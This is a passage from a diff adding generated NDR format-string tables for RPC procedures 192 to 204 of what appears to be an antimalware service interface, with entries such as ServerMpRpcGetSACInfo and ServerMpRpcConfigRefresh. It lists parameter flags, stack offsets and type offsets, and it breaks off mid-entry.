+/* 10958 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10960 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10962 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_2 */ + +/* 10964 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10966 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10968 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_3 */ + +/* 10970 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10972 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10974 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10976 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10978 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10980 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc192_ServerMpRpcGetSACInfo */ + +/* 10982 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10984 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10988 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 10990 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10992 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10994 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10996 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10998 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11000 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11002 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 11004 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11006 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11008 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11010 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11012 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11014 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11016 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11018 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11020 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11022 */ NdrFcShort( 0xdb0 ), /* Type Offset=3504 */ + + /* Parameter arg_3 */ + +/* 11024 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11026 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11028 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11030 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11032 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc193_ServerMpGetTDTFeatureStatusEx */ + +/* 11036 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11038 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11042 */ NdrFcShort( 0xc1 ), /* 193 */ +/* 11044 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11046 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11048 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11050 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11052 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11054 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11056 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 11058 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11064 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11066 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11068 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11070 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11072 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11074 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11076 */ NdrFcShort( 0xdf0 ), /* Type Offset=3568 */ + + /* Parameter arg_3 */ + +/* 11078 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11080 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11082 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11084 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11086 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11088 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc194_ServerMpRpcGetDeviceControlStatus */ + +/* 11090 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11092 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11096 */ NdrFcShort( 0xc2 ), /* 194 */ +/* 11098 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11100 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11102 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11104 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11106 */ NdrFcShort( 0x68 ), /* 104 */ +/* 11108 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11110 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11116 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11118 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11120 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 11122 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11124 */ NdrFcShort( 0xebc ), /* Type Offset=3772 */ + + /* Parameter arg_2 */ + +/* 11126 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11130 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11132 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11134 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11136 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + +/* 11138 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11140 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11144 */ NdrFcShort( 0xc3 ), /* 195 */ +/* 11146 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11148 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 11150 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11152 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 11154 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11156 */ NdrFcShort( 0x68 ), /* 104 */ +/* 11158 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 11160 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11164 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11166 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11168 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 11170 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 11172 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11174 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 11176 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 11178 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11180 */ NdrFcShort( 0xecc ), /* Type Offset=3788 */ + + /* Parameter arg_2 */ + +/* 11182 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11186 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11188 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11190 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc196_ServerMpDisableXBGM */ + +/* 11194 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11196 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11200 */ NdrFcShort( 0xc4 ), /* 196 */ +/* 11202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11204 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11206 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11208 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11210 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11212 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 11214 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11220 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11222 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11226 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11228 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11232 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11234 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc197_ServerMpRpcDefenderPrintAccessCheck */ + +/* 11236 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11238 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11242 */ NdrFcShort( 0xc5 ), /* 197 */ +/* 11244 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11246 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11248 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11250 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11252 */ NdrFcShort( 0x80 ), /* 128 */ +/* 11254 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 11256 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11258 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11260 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11264 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11266 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11268 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11270 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11272 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11274 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11276 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11278 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11280 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11282 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11284 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11286 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11288 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 11290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11292 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11294 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11298 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11304 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + +/* 11308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11314 */ NdrFcShort( 0xc6 ), /* 198 */ +/* 11316 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11318 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11322 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11324 */ NdrFcShort( 0x80 ), /* 128 */ +/* 11326 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 11328 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11338 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11340 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11344 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11346 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11348 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11350 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11352 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11354 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11356 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11358 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11360 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 11362 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11364 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11366 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11370 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11376 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc199_ServerMpRpcDefenderPrintDataProvide */ + +/* 11380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11386 */ NdrFcShort( 0xc7 ), /* 199 */ +/* 11388 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11394 */ NdrFcShort( 0x18 ), /* 24 */ +/* 11396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 11400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 11402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11410 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11414 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11422 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11426 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 11428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11436 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + +/* 11440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11446 */ NdrFcShort( 0xc8 ), /* 200 */ +/* 11448 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11454 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11456 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11458 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 11460 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 11462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11464 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11470 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11474 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11482 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11486 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 11488 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11492 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11496 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11498 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + +/* 11500 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11502 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11506 */ NdrFcShort( 0xc9 ), /* 201 */ +/* 11508 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11510 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11514 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11516 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11518 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11520 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11522 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11524 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11526 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11528 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11530 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11534 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11536 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11538 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11542 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11544 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11546 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11548 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11550 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc202_ServerMpGetNpSupportFile */ + +/* 11554 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11556 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11560 */ NdrFcShort( 0xca ), /* 202 */ +/* 11562 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11564 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11566 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11570 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11572 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11574 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11576 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11578 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11582 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11584 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11586 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11588 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_2 */ + +/* 11590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11592 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11594 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11596 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11600 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 11602 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11604 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11608 */ NdrFcShort( 0xcb ), /* 203 */ +/* 11610 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11612 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11614 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11618 */ NdrFcShort( 0x40 ), /* 64 */ +/* 11620 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11622 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11630 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11632 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11634 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11636 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11638 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11640 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11642 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11644 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11646 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc204_ServerMpRpcConfigRefresh */ + +/* 11650 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11652 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11656 */ NdrFcShort( 0xcc ), /* 204 */ +/* 11658 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11660 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11662 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11666 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11668 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11670 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11674 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11678 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11680 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11682 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 